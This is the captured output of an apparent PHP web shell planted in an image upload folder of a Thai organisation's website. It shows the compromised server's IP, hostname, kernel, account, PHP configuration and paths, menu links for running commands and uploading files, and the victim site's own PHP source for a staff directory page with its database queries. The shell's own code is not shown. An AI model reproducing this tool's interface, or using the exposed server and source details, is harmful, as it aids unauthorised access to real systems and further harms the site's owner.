|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/revolution/../loginForm/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo $config['web_title'];?></title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<?php include ("head-script.php");?>
<style>
.circular--square {
border-top-left-radius: 50% 50%;
border-top-right-radius: 50% 50%;
border-bottom-right-radius: 50% 50%;
border-bottom-left-radius: 50% 50%;
width:100%;
max-width:150px;
max-height: 150px;
height: 80%;
}
.img-boss {
border: 1px solid #ddd;
border-radius: 4px;
padding: 5px;
width:100%;
max-width:150px;
max-height: 200px;
height: 110%;
}
.box-image-executive{
height: 250px; /*เปลียนความสูงของรูป*/
padding: 0;
}
.box-image-executive > .description{
background-color: rgba(0, 0, 0, 0.78);
padding: 10px;
color: #fff;
position: absolute;
width: 80%; /*เปลียนความกว้างของรูป*/
min-width: 150px;
bottom: 0;
height: 75px;
text-align: center;
display: table;
}
.box-image-executive > .description > .detail {
display: table-cell;
vertical-align: middle;
}
.box-image-executive > .description > .detail > .name{
font-size: 1.2em;
margin-bottom: 2px;
}
.box-image-executive > .description > .detail > .position{
font-size: 0.9em;
color: #b9b9b9;
}
.section-gap {
padding: 40px 0;
}
.detail{
background-color: rgba(0, 0, 0, 0.78);
padding: 10px;
color: #fff;
width: 100%; /*เปลียนความกว้างของรูป*/
bottom: 0;
text-align: center;
display: table;
font-size: 12px;;
}
</style>
</head>
<?php
include ("Connections/function-sys.php");
include ("Connections/db.class.php");
$db = new sql($config['db_server'], $config['db_username'], $config['db_password'], $config['db_name'], $config['db_language']);
?>
<body>
<?php
include ("nav-bar.php");
include ("PictureHeader.php");
?>
<!-- <section style="background-color: #FF6600">
<div class="row justify-content-center" style="width: 100%">
<div class="wrap"><BR>
<h3 style="color: #FFFFFF;font-size: 20px;">แผนผังผู้บริหาร</h3><BR>
</div>
</div>
</section> -->
<!-- <HR style="border:5px solid #FF6600 ;"> -->
<section class="ftco-section contact-section">
<div class="container">
<div class="row" style="min-height: 450px;">
<!-- Start -->
<!-- <div class="col-lg-11">
<CENTER><h3 style="color: #FF6600;font-size: 20px;">บุคลากร</h3></CENTER>
</div> -->
<!-- Start blog Area -->
<div class="container" style="min-height: 400px;">
<div class="row">
<!-- Start -->
<?php
$sql2 ="select major.*,count(employee.committeeID) as nn
from major
left join employee on major.mID=employee.mID and employee.committeeID='1'
group by major.mID,employee.committeeID
order by major.mID ";
$row=$db->recCount($sql2);
foreach ($db->dbSearch($sql2) as $k=>$arr2) {
echo "<div class=\"col-lg-12\"><CENTER><H4>$arr2[mName]<BR></H4></CENTER></div>";
$sql ="select employee.*,status.status as committee
from employee
left join status on employee.committeeID=status.statusValue and status.comment='committee'
where employee.statusID='1' and employee.aNo>0 and employee.mID='$arr2[mID]' order by employee.aNo,employee.empID ";
$j=0;
foreach ($db->dbSearch($sql) as $i=>$arr) {
if($i>0 and ($j%6==0) ){
echo "</div><div class=\"col-lg-12\"><BR></div>
<div class=\"row\" align=\"center\">"; //เว้นบรรทัด
}
//$k=$j%5;
if($i==0 and $arr2[nn]>0){
echo <<<DOC
<div class="col-lg-12" align="center">
<div class="col-sm-2 col-md-2">
<div>
<img src="admin/images/employee/$arr[empIMG]" style="bottom: auto;width:100%;" border="1">
</div>
<div class="detail">
<div class="name">$arr[empFirstName]$arr[empName] $arr[emplName] </div>
<div class="position">$arr[empPosition]<BR>$arr[committee]</div>
</div>
</div>
</div>
<div class="col-lg-12"><BR></div>
DOC;
}else
{
echo <<<DOC
<div class="col-sm-2 col-md-2">
<div>
<img src="admin/images/employee/$arr[empIMG]" style="bottom: auto;width:100%;" border="1">
</div>
<div class="detail">
<div class="name">$arr[empFirstName]$arr[empName] $arr[emplName] </div>
<div class="position">$arr[empPosition]<BR>$arr[committee]</div>
</div>
</div>
DOC;
$j++;
}
}
if($k<$row-1){
echo "<div class=\"col-lg-12\"><BR><HR style=\"border-top: 2px solid #FF6600;\"><BR></div>";
}
}//ปิดวนสาขา
?>
<BR><BR>
<!-- Stop -->
</div><!-- <div class="row"> -->
</div><!-- <div class="container" > -->
</section>
<!-- End blog Area -->
<!-- Stop -->
</div>
</div>
</section>
<?php include ("footer.php");?>
</body>
</html>